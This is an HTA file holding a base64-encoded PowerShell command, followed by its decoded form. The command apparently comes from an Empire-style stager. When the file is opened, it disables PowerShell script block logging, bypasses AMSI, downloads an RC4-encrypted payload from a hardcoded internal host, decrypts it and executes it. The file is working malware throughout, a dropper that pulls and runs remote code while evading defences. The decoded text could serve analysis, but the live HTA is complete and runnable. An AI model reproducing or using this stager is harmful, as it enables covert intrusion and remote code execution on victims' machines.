karot.hta

<html><head><script>var c= 'powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBFAHIAUwBJAE8ATgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAcwBJAG8AbgAuAE0AQQBKAE8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAAUwA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAWQAuAEcAZQBUAFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkAZQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAFQAVgBBAEwAVQBFACgAJABOAFUATABsACkAOwBJAEYAKAAkAEcAUABTAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBsAHMARQB7AFsAUwBjAHIASQBQAFQAQgBMAE8AYwBrAF0ALgAiAEcAZQBUAEYAaQBlAGAAbABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAGEATABVAEUAKAAkAG4AdQBMAGwALAAoAE4ARQB3AC0ATwBiAEoARQBjAFQAIABDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUAbgBFAHIASQBjAC4ASABBAFMASABTAEUAdABbAHMAdABSAGkAbgBnAF0AKQApAH0AWwBSAGUARgBdAC4AQQBTAFMARQBtAEIATABZAC4ARwBFAFQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAFYAQQBsAHUAZQAoACQAbgB1AEwATAAsACQAVABSAFUAZQApAH0AOwB9ADsAWwBTAHkAcwB0AEUATQAuAE4ARQBUAC4AUwBFAHIAdgBpAEMAZQBQAG8ASQBOAHQATQBhAE4AQQBnAGUAUgBdADoAOgBFAFgAcABlAEMAVAAxADAAMABDAE8AbgB0AEkAbgBVAGUAPQAwADsAJAB3AGMAPQBOAGUAVwAtAE8AQgBKAEUAYwBUACAAUwB5AFMAVABFAG0ALgBOAGUAVAAuAFcARQBiAEMAbABJAEUATgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUABSAG8AeAB5AD0AWwBTAFkAUwBUAEUAbQAuAE4AZQB0AC4AVwBFAEIAUgBlAFEAdQBlAHMAVABdADoAOgBEAGUAZgBhAHUATAB0AFcARQBiAFAAUgBPAFgAWQA7ACQAdwBDAC4AUAByAE8AWAB5AC4AQwBSAEUAZABlAG4AdABJAEEATABzACAAPQAgAFsAUwBZAFMAdABFAG0ALgBOAGUAdAAuAEMAcgBFAEQARQBuAFQASQBhAEwAQwBhAGMASABFAF0AOgA6AEQARQBGAGEAVQBsAFQATgBlAFQAVwBPAFIASwBDAFIARQBkAEUAbgB0AGkAYQBMAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAUwBUAEUATQAuAFQARQBYAFQALgBFAE4AYwBvAEQASQBOAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgBZAHQAZQBTACgAJwBHAEIAZAAzACYASwB5AGkAWwBWAG4AfABjAC8ASABtAEEANQByAHUAWgBxAH0AKQBiAGsATQBZAFQAVQA2AHYAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgB4AE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEANQA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAUgBzAC4AQQBEAEQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQBBADkAdgBpAFAAOQBjAHcAZAB2AHAAbABCAFkARABRAGUAVABEAHgAbABNAFQAOQB1AEEAWQA9ACIAKQA7ACQARABhAFQAYQA9ACQAVwBDAC4ARABPAFcATgBMAE8AQQBEAEQAQQBUAGEAKAAkAFMARQBSACsAJABUACkAOwAkAGkAdgA9ACQAZABhAFQAYQBbADAALgAuADMAXQA7ACQAZABhAFQAQQA9ACQARABBAHQAQQBbADQALgAuACQAZABBAFQAYQAuAEwARQBOAEcAVABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQBSAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA'
new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

Decoded:
IF($PSVErSIONTAblE.PSVersIon.MAJOr -GE 3){$GPS=[ReF].AssEmBlY.GeTTYPe('System.Management.Automation.Utils')."GeTFIe`LD"('cachedGroupPolicySettings','N'+'onPublic,Static').GeTVALUE($NULl);IF($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}ElsE{[ScrIPTBLOck]."GeTFie`ld"('signatures','N'+'onPublic,Static').SETVaLUE($nuLl,(NEw-ObJEcT COLlECtIonS.GEnErIc.HASHSEt[stRing]))}[ReF].ASSEmBLY.GETTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFiElD('amsiInitFailed','NonPublic,Static').SeTVAlue($nuLL,$TRUe)};};[SystEM.NET.SErviCePoINtMaNAgeR]::EXpeCT100COntInUe=0;$wc=NeW-OBJEcT SySTEm.NeT.WEbClIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeadErs.ADd('User-Agent',$u);$WC.PRoxy=[SYSTEm.Net.WEBReQuesT]::DefauLtWEbPROXY;$wC.PrOXy.CREdentIALs = [SYStEm.Net.CrEDEnTIaLCacHE]::DEFaUlTNeTWORKCREdEntiaLs;$Script:Proxy = $wc.Proxy;$K=[SySTEM.TEXT.ENcoDING]::ASCII.GetBYteS('GBd3&Kyi[Vn|c/HmA5ruZq})bkMYTU6v');$R={$D,$K=$ArGs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOr$S[($S[$I]+$S[$H])%256]}};$ser='http://192.168.0.15:80';$t='/login/process.php';$wc.HeadeRs.ADD("Cookie","session=A9viP9cwdvplBYDQeTDxlMT9uAY=");$DaTa=$WC.DOWNLOADDATa($SER+$T);$iv=$daTa[0..3];$daTA=$DAtA[4..$dATa.LENGTh];-join[ChaR[]](& $R $datA ($IV+$K))|IEX